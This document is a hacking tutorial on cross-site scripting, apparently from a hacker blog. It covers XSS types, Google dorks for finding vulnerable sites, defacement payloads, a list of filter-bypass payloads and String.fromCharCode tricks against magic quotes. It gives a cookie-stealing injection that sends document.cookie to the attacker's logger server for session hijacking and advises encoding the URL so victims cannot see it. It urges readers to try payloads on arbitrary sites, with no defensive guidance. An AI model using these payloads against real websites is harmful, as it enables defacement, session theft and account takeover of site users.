What is XSS?
'XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerability found in Web Applications, 'XSS' allows the attacker to INSERT malicious code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply “phishing" on falls users.
Types of XSS
There are actually three types of Cross-Site Scripting, commonly named as:
1.DOM-Based XSS
2.Non-persistent XSS
3.Persistent XSS
DOM-Based
The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for different aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities.
v The DOM-Based XSS exploits these problems on user’s local machines in this way:
v The attacker creates a well built malicious website
v The ingenuous user opens that site
v The user has a vulnerable page on his machine
v The attacker's website sends commands to the vulnerable HTML page
v The vulnerable local page executes that commands with the user's privileges on that machine.
v The attacker easily gain control on the victim computer.
Non-Persistent
The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.
The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities.
Persistent
The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users information and the difference is that in websites vulnerable to Persistent XSS the attacker doesn't need to provide the crafted URL to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbook". Usually the users uses that kind of tool to leave messages to the owner of the website and at a first look it doesn't seems something dangerous, but if an attacker discover that the system is vulnerable can insert some malicious code in his message and let ALL visitors to be victim of that.
This works when the tool provided (the guestbook in the example) doesn't do any check on the content of the inserted message: it just inserts the data provided from the user into the result page.
How to Find XSS VULNERABILITY?
Well to start finding these vulnerabilities you can start checking out Blogs, Forums, Shout boxes, Comment Boxes, Search Box's, there are too many to mention.
Using 'Google Dorks' to make the finding easier, Ok if you want to get cracking, go to google.com and type inurl:"search.php?q=" now that is a common page and has a lot of results. Also note that most sites have XSS vulnerabilities, it’s just having a good eye, and some good knowledge on how to bypass there filtration.
Basics of XSS
Well now let’s start learning some Actual Methods, the most common used XSS injection is:
<script>alert("The Hacker News")</script>
Now this will alert a popup message, saying "The Hacker News" without quotes. So, use "search.php?q=" and you can simple try the following on a website with the same thing,
http://website.com/search.php?q=<script>alert("The Hacker News")</script>
there are good chances of it working, but don’t be worried if it don’t, just try different sites. You can insert HTML not just JavaScript:
http://website.com/search.php?q=<br><br><b><u>The Hacker News</u></b>
if you see the bold text on the page and newlines then you knows its vulnerable.
How to Deface a Website using XSS?
Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing I will mention some of the best and most used, the first one being IMG SCR, now for those of you who don’t know html, IMG SCR is a tag, that displays the IMAGE linked to it on the webpage.
<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>
ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shout box, Comment box, or anything that shows your data after you submitted it you could insert the following to make the picture display on the page.
<IMG SRC="http://site.com/yourDefaceIMAGE.png">
The other tags are not needed has the page will already have them. Ok it helps to make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, it’s the same has the method below but a more stylish deface.
<EMBED SRC="http://site.com/xss.swf"
That will execute the flash video linked to it. Or maybe using a pop or redirection as:
<script>window.open( "http://www.thehackernews.com/" )</script>
There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :)
How to Cookie Stealing using XSS?
I decided to add this has it’s the most useful method of XSS. Now you have it save it has a .php file and upload to your server, remember to create the file 'log.txt' too and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do. Now you want to insert this code.
window.location =
"http://yourServer.com/cookielogger.php?c="+document.cookie
or
document.location =
"http://yourServer.com/cookielogger.php?c="+document.cookie
Now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D
but now you ask what if my site has not got, this kind of attack, it only shows data once and don’t store it. Well let’s say we had a page search.php?q= we can use the following code to make a malicious URL from it and maybe hex, base64 encode it so people can’t see the code
http://site.com/search.php?q=document.location =
"http://yourServer.com/cookielogger.php?c="+document.cookie
How to Bypass Filtration?
Lot of sites may seem vulnerable but not executing the code, well to solve this read this. Some common methods to bypass filtration is
')alert('xss');
or
");alert('xss');
that will do the same thing has <script>alert("XSS")</script> on a vulnerable server. You can also try hexing or base64 encoding your data before you submit, Please note its bad practice to use alert("XSS") to test for XSS, because some sites block the keyword "XSS" before so we using "The Hacker News".
Some other ways to bypass filtration
website.com/search.php?q="><script>alert('The Hacker News')</script>
website.com/search.php?q="><script>alert("The Hacker News")</script>
website.com/search.php?q="><script>alert("The Hacker News");</script>
website.com/search.php?q="><script>alert(/The Hacker News");</script>
website.com/search.php?q=//"><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc<script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc"><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc"></script><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc//abc"></script>alert(/The Hacker News/);</script>
website.com/search.php?q=000"><script></script><script>alert(The HackerNews);</script>
website.com/search.php?q=000abc</script><script>alert(/The Hacker News/);</script>
website.com/search.php?q=--<script>"></script>alert(/The Hacker News/);</script>
website.com/search.php?q=pwned<script>document.write('The Hacker News');</script>
website.com/search.php?q=pwned</script><script>document.write(The Hacker
News);</script>
website.com/search.php?q=pwned')alert(The Hacker News);//
website.com/search.php?q=pwned";)alert(The Hacker News);//
website.com/search.php?q=pwned");alert(/The Hacker News/);//
website.com/search.php?q=pwned//"></script><script>location.href='javascript:alert(/Th
e Hacker News/);</script>
website.com/search.php?q="><img src='javascript:alert('The Hacker News');'>
website.com/search.php?q="><script src='http://malicous js'</script>
Advanced XSS - way to bypass magic quotes filtration
Ok now we are going to learn about some good techniques. I have come across many sites where 'Magic Quotes' is on and therefore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table HERE
This will help you write what you want, In my examples will be writing "tpz" this is the following code
116 112 122
Ok now we got the Decimal value of our string, we need to know what function in JavaScript converts this.
String.fromCharCode()
is suitable for this kind of things, it’s easy to setup, I’m going to give it my argument below.
String.fromCharCode(116, 112, 122)
Ok now "String.fromCharCode(116, 112, 122)" Is a JAVA (ASCII) way of saying "tpz". And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.
<script>alert(String.fromCharCode(116, 112, 122))</script>
Ok now this will display or message in this case "tpz", this method is very useful for bypassing magic quotes and maybe some custom escaping of quotes. There are many others methods that I’m not going to talk about right now.
